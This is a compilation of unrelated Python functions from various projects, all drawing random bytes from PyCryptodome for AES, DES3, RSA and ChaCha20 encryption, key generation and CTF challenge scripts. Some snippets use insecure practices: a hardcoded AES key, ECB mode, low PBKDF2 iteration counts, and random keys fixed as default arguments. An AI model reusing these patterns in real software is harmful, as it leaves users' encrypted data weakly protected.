def aes_encrypt(self, msg): """ AES Encryption Algorithm """ iv = RND.get_random_bytes(16) aes_enc = AES.new('This is a key123', AES.MODE_CBC, iv) mod = len(msg) % 16 if mod != 0: msg += "`" * (16 - mod) encrypted_msg = aes_enc.encrypt(msg) sending_msg = '1!@!' + iv + "!@!" + encrypted_msg return sending_msg
def encrypt(msg, key): #hash the key so any key can meet the requirement #logging.info('Encrypting message: ' + str(msg)) keyHash = SHA256.new(str(key).encode()).digest() IV = Random.get_random_bytes(AES.block_size) AEShelper = AES.new(keyHash,AES.MODE_CBC, IV) #msg needs to be multiple of 16 bytes cipherText = (IV + AEShelper.encrypt(Encryption.padding(msg))) #logging.info('Encrypted message: ' + str(cipherText)) return cipherText
def cypher(data, nr_providers): res = [] buf = data size = len(data) for x in range(1, nr_providers): rnd = Random.get_random_bytes(size) buf = faster_xor(buf, rnd) res.append(rnd) res.append(buf) return res
def _generate_key_and_iv(encalg, cek="", iv=""): if cek and iv: return cek, iv try: _key = Random.get_random_bytes(ENCALGLEN1[encalg]) _iv = Random.get_random_bytes(12) except KeyError: try: _key = Random.get_random_bytes(ENCALGLEN2[encalg]) _iv = Random.get_random_bytes(16) except KeyError: raise Exception("Unsupported encryption algorithm %s" % encalg) if cek: _key = cek if iv: _iv = iv return _key, _iv
def encrypt(self, data, key, block_size=16, mode=baseDES3.MODE_CBC, iv=None): if iv is None: iv = Random.get_random_bytes(8) #self.enc_object = baseDES3.new(self.pad(key), mode, iv) self.enc_object = baseDES3.new(key, mode, iv) return Cipher.encrypt(self, data=data, key=key, block_size=block_size)
def set_flag(ip, port, flag): base_url = 'http://' + ip + ':' + port + '/' username = (binascii.hexlify(Random.get_random_bytes(10))).decode() password = (binascii.hexlify(Random.get_random_bytes(10))).decode() account = create_account(base_url, username, password) entry_request = {'entry': flag, 'title': 'flag'} # login jwt = login(base_url, username, password) jwt_token = jwt['token'] # verify token public_key = get_public_key(base_url) verify_token(jwt_token, public_key, account) entry = post_entry(base_url, jwt_token, entry_request) # return entryid return {'FLAG_ID': entry['id'], 'TOKEN': jwt_token}
def create_derived_key(self, master_pass, password_file): master_pass = master_pass.encode('utf-8') padded_master_pass = Padding.pad(master_pass, AES.block_size) salt = Random.get_random_bytes(8) master_iv = Random.get_random_bytes(AES.block_size) #use PBKDFS with salt to make master password to derived key derived_key = PBKDF2(master_pass, salt, count=1000) cipher = AES.new(derived_key, AES.MODE_CBC, master_iv) enc_padded_master_pass = cipher.encrypt(padded_master_pass) iv_cipher = AES.new(derived_key, AES.MODE_ECB) enc_master_iv = iv_cipher.encrypt(master_iv) ofile = open(password_file, 'wb') length_enc_padded_master_pass = len(enc_padded_master_pass).to_bytes( 2, 'big') ofile.write(salt + enc_master_iv + length_enc_padded_master_pass + enc_padded_master_pass) #write out to file ofile.write(b'\n') ofile.close()
def generate_session_id(): """Generates a random session ID for Steam. Returns ------- str A random 12 byte hex string. """ return codecs.getencoder('hex')( Random.get_random_bytes(12))[0].decode('utf-8')
def challenge_create(self, challenge_length): """ Generates a random challenge using OpenSSL rand() @param challenge_length: Bytes of the challenge to be created """ nonce = Random.get_random_bytes(challenge_length) m = hashlib.sha512() m.update(nonce) return str(m.hexdigest())
def encryptData(self, data, passphrase): salt = Random.get_random_bytes(self.SALT_SIZE) key = self._generateKey( bytearray(passphrase.encode('utf-8')) + bytearray(salt), self.ITERATIONS) cipher = AES.new(key, AES.MODE_ECB) paddedClearData = self._padData(data, self.AES_ALIGNMENT) encryptedData = cipher.encrypt(paddedClearData) return salt + encryptedData
def encrypt(self, unencrypted, kek_meta_dto, keystone_id): if not isinstance(unencrypted, str): raise ValueError('Unencrypted data must be a byte type, ' 'but was {0}'.format(type(unencrypted))) padded_data = self._pad(unencrypted) iv = Random.get_random_bytes(self.block_size) encryptor = AES.new(self.kek, AES.MODE_CBC, iv) cyphertext = iv + encryptor.encrypt(padded_data) return cyphertext, None
def encryptMessage(message): #print '\n*** ENCRYPT ***' # block-sized IV randomized for each simulated HTTPS request; needs to vary for every request!! IV = Random.get_random_bytes(AES_CBC_BLOCK_SIZE) cipher = AES.new(keyAES, AES.MODE_CBC, IV) C0 = IV C1toCn = cipher.encrypt(message) encryptMessage = C0 + C1toCn return encryptMessage
def s_encrypt_RSA(message): public_key = PUBLIC_KEY key = open(public_key, "r").read() session_key = Random.get_random_bytes(16) key = RSA.importKey(key) cipher_rsa = PKCS1_OAEP.new(key) cipher_aes = AES.new(session_key, AES.MODE_EAX) ciphertext, tag = cipher_aes.encrypt_and_digest(message) session_key = cipher_rsa.encrypt(session_key) aes_cipher = cipher_aes.nonce return b64encode(session_key + aes_cipher + tag + ciphertext)
def __init__(self, filename, key=Random.get_random_bytes(32), nonce=Random.get_random_bytes(8)): """ Encrypt the content of 'filename' and store its ciphertext at self.ciphertext The encryption to use here is AES-CTR with 32 byte key. The counter should begin with zero. """ self.fileName = filename self.key = key self.nonce = nonce self.ciphertext = None with open(self.fileName, mode='rb') as file: plainText = file.read() file.close() countf = Counter.new(64, self.nonce) crypto = AES.new(self.key, AES.MODE_CTR, counter=countf) # use a list for the encrypted text for better byte access self.ciphertext = list(crypto.encrypt(plainText))
def generate_AES_key(cls, set_default=False): """ Generate a AES key :param set_default:set the key for default :return key: byte """ key = Random.get_random_bytes(16) if set_default: cls.set_default_AES_key(key) return key
def runTest(self): """Crypto.Random.new()""" # Import the Random module and try to use it from Crypto import Random randobj = Random.new() x = randobj.read(16) y = randobj.read(16) self.assertNotEqual(x, y) z = Random.get_random_bytes(16) self.assertNotEqual(x, z) self.assertNotEqual(y, z)
def main(): AES_Key = Random.get_random_bytes(16) with open("flag.txt", "rb") as f_in: flag = f_in.read() cipherText = AES_Encryption(flag, AES_Key, 10) with open("cipher.txt", "wb") as f_out: f_out.write(cipherText)
def encrypt(self, key, data): """ Encrypts the chunk. """ self.link = Random.get_random_bytes(20) # Alias max self.data = data frame = self.link + self.data frame = ChaCha20.new(key=key[:32], nonce=key[32:]).encrypt(frame) self.frame = frame
def CBC_encryption(plaintext, key): # CBC encryption mode = AES.MODE_ECB encryptor = AES.new(key) IV_init = Random.get_random_bytes(block_length) IV = IV_init cipher_blocks = [] for plaintext_i in plaintext: XOR_message = xorWord(plaintext_i, IV) cipher_blocks.append(encryptor.encrypt(XOR_message)) IV = cipher_blocks[-1] return cipher_blocks, IV_init